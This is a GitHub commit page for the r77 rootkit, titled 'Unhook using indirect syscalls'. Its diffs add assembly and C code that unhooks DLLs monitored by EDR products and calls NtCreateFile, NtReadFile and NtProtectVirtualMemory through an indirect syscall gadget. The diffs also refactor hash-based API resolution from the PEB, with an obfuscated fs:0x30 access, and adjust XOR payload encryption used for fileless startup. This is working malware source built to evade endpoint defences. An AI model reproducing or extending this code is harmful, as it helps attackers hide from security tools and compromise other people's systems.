Skip to content

Commit

Permalink
Unhook using indirect syscalls
Browse files Browse the repository at this point in the history
  • Loading branch information
bytecode77 committed Dec 31, 2024
1 parent c84a432 commit a968978
Show file tree
Hide file tree
Showing 24 changed files with 529 additions and 102 deletions.
10 changes: 6 additions & 4 deletions BuildTask/BuildTask.cs
Original file line number Diff line number Diff line change
Expand Up @@ -61,17 +61,19 @@ private static byte[] Compress(byte[] data)
}
private static byte[] Encrypt(byte[] data)
{
// Only a trivial encryption algorithm is used.
// This improves the stability of the fileless startup, because less .NET classes are imported that may not be present on the target computer.
// A trivial encryption algorithm is sufficient and requires no .NET classes to be imported.

byte[] encrypted = new byte[data.Length + 4];
RandomNumberGenerator.Create().GetBytes(encrypted, 0, 4);
using (RandomNumberGenerator random = RandomNumberGenerator.Create())
{
random.GetBytes(encrypted, 0, 4);
}

int key = BitConverter.ToInt32(encrypted, 0);

for (int i = 0; i < data.Length; i++)
{
encrypted[i + 4] = (byte)(data[i] ^ (byte)key);
encrypted[i + 4] = (byte)(data[i] ^ key);
key = key << 1 | key >> (32 - 1);
}

Expand Down
1 change: 1 addition & 0 deletions Helper32/Helper32.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,7 @@
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>DllMain</EntryPointSymbol>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
<PostBuildEvent>
<Command>mkdir "$(SolutionDir)$Build"
Expand Down
1 change: 1 addition & 0 deletions Helper64/Helper64.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,7 @@
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>DllMain</EntryPointSymbol>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
<PostBuildEvent>
<Command>mkdir "$(SolutionDir)$Build"
Expand Down
2 changes: 2 additions & 0 deletions Install/Install.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -68,6 +68,7 @@
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
<PostBuildEvent>
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
Expand Down Expand Up @@ -103,6 +104,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
<PostBuildEvent>
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
Expand Down
57 changes: 33 additions & 24 deletions InstallShellcode/PebApi.asm
Original file line number Diff line number Diff line change
@@ -1,16 +1,11 @@
proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD
proc PebGetModuleHandle ModuleHash:DWORD
local FirstEntry:DWORD
local CurrentEntry:DWORD
local ModuleBase:DWORD
local ExportDirectory:DWORD
local NameDirectory:DWORD
local NameOrdinalDirectory:DWORD
local FunctionCounter:DWORD

; Get InMemoryOrderModuleList from PEB
mov eax, 3
shl eax, 4
mov eax, [fs:eax] ; fs:0x30
mov eax, [fs:eax] ; obfuscated fs:0x30
mov eax, [eax + PEB.Ldr]
mov eax, [eax + PEB_LDR_DATA.InMemoryOrderModuleList.Flink]
mov [FirstEntry], eax
Expand All @@ -30,22 +25,48 @@ proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD
cld
.L_module_hash:
lodsb
ror edx, 13
add edx, eax
cmp al, 'a'
jl @f
sub edx, 0x20 ; Convert lower case letters to upper case
@@: dec ecx
and eax, 0xdf ; Convert lower case letters to upper case
@@: ror edx, 13
add edx, eax
dec ecx
test ecx, ecx
jnz .L_module_hash

; Check, if module is found by hash
cmp edx, [ModuleHash]
jne .C_module

; Get module base
; Return module base
mov eax, [CurrentEntry]
mov eax, [eax + LDR_DATA_TABLE_ENTRY.DllBase]
ret

.C_module:
; Move to next module, exit loop if CurrentEntry == FirstEntry
mov eax, [CurrentEntry]
mov eax, [eax + LIST_ENTRY.Flink]
mov [CurrentEntry], eax
cmp eax, [FirstEntry]
jne .L_module

; Module not found
xor eax, eax
ret
endp

proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD
local ModuleBase:DWORD
local ExportDirectory:DWORD
local NameDirectory:DWORD
local NameOrdinalDirectory:DWORD
local FunctionCounter:DWORD

; Get module
stdcall PebGetModuleHandle, [ModuleHash]
test eax, eax
jz .E_functions
mov [ModuleBase], eax

; Get export directory
Expand Down Expand Up @@ -116,16 +137,4 @@ proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD
; Function not found in module's export table
xor eax, eax
ret

.C_module:
; Move to next module, exit loop if CurrentEntry == FirstEntry
mov eax, [CurrentEntry]
mov eax, [eax + LIST_ENTRY.Flink]
mov [CurrentEntry], eax
cmp eax, [FirstEntry]
jne .L_module

; Module not found
xor eax, eax
ret
endp
7 changes: 2 additions & 5 deletions Service/Service.c
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
#include "Service.h"
#include "Unhook.h"
#include "r77def.h"
#include "r77win.h"
#include "r77config.h"
Expand All @@ -10,11 +11,7 @@
int main()
{
// Unhook DLL's that are monitored by EDR.
UnhookDll(L"ntdll.dll");
if (BITNESS(64) || IsAtLeastWindows10()) // Unhooking kernel32.dll does not work on Windows 7 x86.
{
UnhookDll(L"kernel32.dll");
}
Unhook();

EnabledDebugPrivilege();

Expand Down
6 changes: 6 additions & 0 deletions Service/Service.vcxitems
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,9 @@
<HasSharedItems>true</HasSharedItems>
<ItemsProjectGuid>{46e171d4-1811-48be-8867-a63c28761d28}</ItemsProjectGuid>
</PropertyGroup>
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ItemDefinitionGroup>
<ClCompile>
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)</AdditionalIncludeDirectories>
Expand All @@ -23,4 +26,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)Service.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)ProcessListener.h" />
</ItemGroup>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
10 changes: 10 additions & 0 deletions Service32/Service32.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -33,10 +33,12 @@
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
<Import Project="..\r77api\r77api.vcxitems" Label="Shared" />
<Import Project="..\Service\Service.vcxitems" Label="Shared" />
<Import Project="..\Unhook\Unhook.vcxitems" Label="Shared" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
Expand Down Expand Up @@ -70,6 +72,7 @@
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
<PostBuildEvent>
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
Expand Down Expand Up @@ -99,6 +102,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
<PostBuildEvent>
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
Expand All @@ -108,5 +112,11 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
<ItemGroup>
<MASM Update="A:\Code\GitHub\r77-rootkit\Service\Syscalls.asm">
<FileType>Document</FileType>
</MASM>
</ItemGroup>
</Project>
10 changes: 10 additions & 0 deletions Service64/Service64.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -33,10 +33,12 @@
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
<Import Project="..\r77api\r77api.vcxitems" Label="Shared" />
<Import Project="..\Service\Service.vcxitems" Label="Shared" />
<Import Project="..\Unhook\Unhook.vcxitems" Label="Shared" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
Expand Down Expand Up @@ -70,6 +72,7 @@
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
<PostBuildEvent>
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
Expand Down Expand Up @@ -99,6 +102,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
<PostBuildEvent>
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
Expand All @@ -108,5 +112,11 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
<ItemGroup>
<MASM Update="A:\Code\GitHub\r77-rootkit\Service\Syscalls.asm">
<FileType>Document</FileType>
</MASM>
</ItemGroup>
</Project>
2 changes: 1 addition & 1 deletion Stager/Stager.cs
Original file line number Diff line number Diff line change
Expand Up @@ -73,7 +73,7 @@ private static byte[] Decrypt(byte[] data)

for (int i = 0; i < decrypted.Length; i++)
{
decrypted[i] = (byte)(data[i + 4] ^ (byte)key);
decrypted[i] = (byte)(data[i + 4] ^ key);
key = key << 1 | key >> (32 - 1);
}

Expand Down
69 changes: 69 additions & 0 deletions Unhook/Syscalls.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
IFNDEF rax
.model flat
ENDIF

IFDEF rax

.data

extern SyscallGadget:QWORD
extern NtCreateFileSyscallNumber:DWORD
extern NtQueryInformationFileSyscallNumber:DWORD
extern NtReadFileSyscallNumber:DWORD
extern NtProtectVirtualMemorySyscallNumber:DWORD

.code

SyscallNtCreateFile proc
mov r10, rcx
mov eax, NtCreateFileSyscallNumber
jmp SyscallGadget
SyscallNtCreateFile endp

SyscallNtQueryInformationFile proc
mov r10, rcx
mov eax, NtQueryInformationFileSyscallNumber
jmp SyscallGadget
SyscallNtQueryInformationFile endp

SyscallNtReadFile proc
mov r10, rcx
mov eax, NtReadFileSyscallNumber
jmp SyscallGadget
SyscallNtReadFile endp

SyscallNtProtectVirtualMemory proc
mov r10, rcx
mov eax, NtProtectVirtualMemorySyscallNumber
jmp SyscallGadget
SyscallNtProtectVirtualMemory endp

ELSE

; For now, unhooking works on 64-bit Windows only.

.code

_SyscallNtCreateFile proc
mov eax, -1
ret
_SyscallNtCreateFile endp

_SyscallNtQueryInformationFile proc
mov eax, -1
ret
_SyscallNtQueryInformationFile endp

_SyscallNtReadFile proc
mov eax, -1
ret
_SyscallNtReadFile endp

_SyscallNtProtectVirtualMemory proc
mov eax, -1
ret
_SyscallNtProtectVirtualMemory endp

ENDIF

end
16 changes: 16 additions & 0 deletions Unhook/Syscalls.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#include "r77mindef.h"
#ifndef _SYSCALLS_H
#define _SYSCALLS_H

LPVOID SyscallGadget;
DWORD NtCreateFileSyscallNumber;
DWORD NtQueryInformationFileSyscallNumber;
DWORD NtReadFileSyscallNumber;
DWORD NtProtectVirtualMemorySyscallNumber;

extern NTSTATUS SyscallNtCreateFile(LPHANDLE fileHandle, ACCESS_MASK desiredAccess, POBJECT_ATTRIBUTES objectAttributes, PIO_STATUS_BLOCK ioStatusBlock, PLARGE_INTEGER allocationSize, ULONG fileAttributes, ULONG shareAccess, ULONG createDisposition, ULONG createOptions, LPVOID eaBuffer, ULONG eaLength);
extern NTSTATUS SyscallNtQueryInformationFile(HANDLE fileHandle, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass);
extern NTSTATUS SyscallNtReadFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID buffer, ULONG length, PLARGE_INTEGER byteOffset, PULONG key);
extern NTSTATUS SyscallNtProtectVirtualMemory(HANDLE processHandle, LPVOID *baseAddress, PSIZE_T numberOfBytesToProtect, ULONGLONG newAccessProtection, PULONGLONG oldAccessProtection);

#endif
Loading

0 comments on commit a968978

Please sign in to comment.